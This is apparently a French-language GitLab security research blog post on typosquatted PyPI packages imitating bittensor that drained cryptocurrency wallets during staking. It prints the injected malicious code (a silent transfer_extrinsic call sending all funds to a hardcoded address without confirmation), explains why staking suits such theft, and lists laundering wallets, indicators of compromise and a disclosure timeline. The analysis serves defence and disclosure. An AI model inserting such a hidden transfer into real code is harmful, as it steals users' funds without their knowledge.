Date de la publication : 11 août 2025
Lecture : 6 min
L'équipe de recherche dédiée aux vulnérabilités de GitLab a identifié une série d'attaques de typosquatting avec des paquets PyPI qui avaient pour objectif de voler de la cryptomonnaie dans des portefeuilles Bittensor en détournant des opérations de staking.
L'équipe de recherche dédiée aux vulnérabilités de GitLab a identifié une série de vols sophistiqués de cryptomonnaie ciblant l'écosystème Bittensor à travers des paquets Python typosquattés sur PyPI.
Notre enquête a commencé lorsque le système de surveillance automatisée des paquets de GitLab a signalé une activité suspecte liée à des paquets Bittensor prisés. Nous avons découvert plusieurs variantes de paquets Bittensor ayant fait l'objet de typosquatting, qui avaient pour objectif de voler de la cryptomonnaie dans les portefeuilles de développeurs et d'utilisateurs peu méfiants.
Les paquets malveillants identifiés ont tous été publiés au cours d'une fenêtre de 25 minutes le 6 août 2025 :
[email protected]
(02:52 UTC)
[email protected]
(02:59 UTC)
[email protected]
(03:02 UTC)
[email protected]
(03:15 UTC)
[email protected]
(03:16 UTC)
Tous les paquets étaient conçus pour imiter les véritables paquets bittensor
et bittensor-cli
, des composants essentiels du réseau d'IA décentralisé Bittensor.
Notre analyse a révélé un vecteur d'attaque soigneusement orchestré où les cybercriminels avaient modifié la fonctionnalité de staking d'origine pour voler des fonds. Les paquets malveillants contenaient une version détournée de la fonction stake_extrinsic
dans bittensor_cli/src/commands/stake/add.py
.
Là où les utilisateurs s'attendaient à une opération de staking normale, les attaquants avaient inséré du code malveillant à la ligne 275 qui détournait tous les fonds vers leur portefeuille :
result = await transfer_extrinsic(
subtensor=subtensor,
wallet=wallet,
destination="5FjgkuPzAQHax3hXsSkNtue8E7moEYjTgrDDGxBvCzxc1nqR",
amount=amount,
transfer_all=True,
prompt=False
)
Ce processus malveillant corrompait complètement le processus de staking :
Exécution indétectable : utilisation de prompt=False
pour contourner la confirmation de l'utilisateur
Vol complet du portefeuille : définition de transfer_all=True
pour voler tous les fonds disponibles, pas seulement le montant de staking
Destination codée en dur : transfert de tous les fonds vers l'adresse du portefeuille du cybercriminel
Caché à la vue de tous : exécution pendant une opération de staking en apparence normale
L'attaque est particulièrement insidieuse, car les utilisateurs croient qu'ils stakent des tokens pour gagner des récompenses, mais à la place, la fonction modifiée vide entièrement leur portefeuille.
Les attaquants semblent avoir spécifiquement ciblé les opérations de staking pour des raisons calculées. Dans les réseaux blockchain comme Bittensor, le staking consiste à verrouiller ses tokens de cryptomonnaie pour soutenir les opérations du réseau afin de gagner des récompenses en retour, un processus que l'on peut comparer aux intérêts versés sur un compte épargne.
Le staking est ainsi un vecteur d'attaque idéal :
Cibles de grande valeur : les utilisateurs qui stakent détiennent généralement des avoirs substantiels en cryptomonnaie, ce qui en fait des victimes particulièrement intéressantes.
Accès requis au portefeuille : les opérations de staking nécessitent que les utilisateurs déverrouillent leurs portefeuilles et fournissent une authentification. Cette opération donne au code malveillant exactement ce dont celui-ci a besoin pour vider les fonds.
Activité réseau attendue : puisque le staking implique naturellement des transactions blockchain, le transfert malveillant supplémentaire n'éveille pas immédiatement les soupçons.
Opérations routinières : les utilisateurs expérimentés stakent régulièrement ; ce processus familier les pousse à la complaisance et endort leur vigilance.
Détection retardée : les utilisateurs pourraient d'abord supposer que les transactions correspondent à des frais de staking normaux ou à des retenues temporaires, ce qui retarde la découverte du vol.
En cachant du code malveillant dans une fonctionnalité de staking d'apparence légitime, les cybercriminels ont exploité à la fois les exigences techniques et la psychologie des utilisateurs des opérations de blockchain routinières.
L'équipe de recherche dédiée aux vulnérabilités de GitLab a cherché à identifier l'origine des flux de cryptomonnaie pour comprendre l'ampleur de cette opération. Le portefeuille de destination principal 5FjgkuPzAQHax3hXsSkNtue8E7moEYjTgrDDGxBvCzxc1nqR
a servi de point de collecte central avant que les fonds ne soient distribués à travers un réseau de portefeuilles intermédiaires.
Notre analyse a révélé un mécanisme de blanchiment à plusieurs sauts :
Collecte principale : les fonds volés arrivent initialement sur 5FjgkuPzAQHax3hXsSkNtue8E7moEYjTgrDDGxBvCzxc1nqR
Réseau de distribution : les fonds sont rapidement déplacés vers des portefeuilles intermédiaires :
5HpsyxZKvCvLEdLTkWRM4d7nHPnXcbm4ayAsJoaVVW2TLVP1
5GiqMKy1kAXN6j9kCuog59VjoJXUL2GnVSsmCRyHkggvhqNC
5ER5ojwWNF79k5wvsJhcgvWmHkhKfW5tCFzDpj1Wi4oUhPs6
5CquBemBzAXx9GtW94qeHgPya8dgvngYXZmYTWqnpea5nsiL
Consolidation finale : tous les chemins convergent finalement vers 5D6BH6ai79EVN51orsf9LG3k1HXxoEhPaZGeKBT5oDwnd2Bu
Portefeuille où l'argent est encaissé : la destination finale semble être 5HDo9i9XynX44DFjeoabFqPF3XXmFCkJASC7FxWpbqv6D7QQ
Les cybercriminels ont utilisé une stratégie de typosquatting qui exploite les erreurs de frappe courantes et les conventions de nommage des paquets :
Caractères manquants : bitensor
au lieu de bittensor
('t' manquant)
Troncation : bittenso
au lieu de bittensor
('r' final manquant)
Imitation de version : tous les paquets utilisaient des numéros de version (9.9.4
, 9.9.5
) qui correspondaient étroitement aux versions des véritables paquets.
Cette approche maximise les chances d'installation en raison des erreurs de frappe des équipes de développement lors des commandes pip install
et des erreurs de copier-coller depuis la documentation.
GitLab continue d'investir dans la recherche proactive en matière de sécurité pour identifier et neutraliser les menaces avant qu'elles n'impactent notre communauté. Notre système de détection automatisé travaille 24 heures sur 24 pour protéger la chaîne d'approvisionnement logicielle qui alimente le développement moderne.
La détection et l'analyse rapides de cette attaque démontrent la valeur des mesures de sécurité proactives dans la lutte contre les menaces sophistiquées. En partageant nos découvertes, nous visons à renforcer la résilience de l'écosystème entier en cas de futures attaques.
IOC | Description |
---|---|
pkg:pypi/[email protected] |
Paquet PyPI malveillant |
pkg:pypi/[email protected] |
Paquet PyPI malveillant |
pkg:pypi/[email protected] |
Paquet PyPI malveillant |
pkg:pypi/[email protected] |
Paquet PyPI malveillant |
pkg:pypi/[email protected] |
Paquet PyPI malveillant |
5FjgkuPzAQHax3hXsSkNtue8E7moEYjTgrDDGxBvCzxc1nqR |
Adresse de portefeuille Bittensor (TAO) pour recevoir les fonds volés |
Date et heure | Action |
---|---|
2025-08-06T06:33 | Analyse initiale des paquets suspects signalés par le système de surveillance automatisé |
2025-08-06T09:42 | Signalement de [email protected] à PyPi.org |
2025-08-06T09:46 | Signalement de [email protected] à PyPi.org |
2025-08-06T09:47 | Signalement de [email protected] à PyPi.org |
2025-08-06T09:49 | Signalement de [email protected] à PyPi.org |
2025-08-06T09:51 | Signalement de [email protected] à PyPi.org |
2025-08-06T15:26 | PyPi.org a supprimé [email protected] |
2025-08-06T15:27 | PyPi.org a supprimé [email protected] |
2025-08-06T15:27 | PyPi.org a supprimé [email protected] |
2025-08-06T15:28 | PyPi.org a supprimé [email protected] |
2025-08-06T15:28 | PyPi.org a supprimé [email protected] |